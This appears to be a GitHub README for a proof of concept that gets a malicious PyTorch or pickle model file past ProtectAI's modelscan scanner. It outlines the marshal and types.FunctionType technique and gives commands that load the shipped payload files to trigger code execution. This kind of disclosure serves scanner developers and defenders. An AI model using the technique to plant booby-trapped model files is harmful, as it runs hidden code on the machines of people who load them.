manja316/marshal-types-bypass-poc

Marshal + Types FunctionType Modelscan Bypass PoC

Summary

This repository demonstrates a bypass of ProtectAI's modelscan v0.7.6 (latest) using marshal.loads() and types.FunctionType — neither of which are in modelscan's unsafe_globals blocklist.

Technique

1. Compile arbitrary Python code into a code object
2. Serialize the code object with marshal.dumps()
3. In pickle bytecode, reconstruct via: types.FunctionType(marshal.loads(marshaled_bytes), {})()
4. modelscan sees marshal.loads and types.FunctionType — neither flagged
5. On pickle.loads() or torch.load(), arbitrary code executes

Modules Used (NOT in blocklist)

• marshal — deserializes code objects from bytes
• types — FunctionType wraps code objects into callable functions

Impact

• Bypass: modelscan v0.7.6 reports "No issues found"
• Execution: Full RCE on model load via pickle.loads() or torch.load()
• Affected formats: .pkl, .pickle, .bin, .pt, .pth, .ckpt (any pickle-based format)

Files

• pytorch_model.bin — PyTorch model file containing the bypass payload
• exploit.pkl — Raw pickle file with the same payload

Reproduction

# Scan with modelscan
modelscan scan -p pytorch_model.bin
# Output: "No issues found"

# Load to trigger RCE
python3 -c "import torch; torch.load('pytorch_model.bin', weights_only=False)"
# Or: python3 -c "import pickle; pickle.loads(open('exploit.pkl','rb').read())"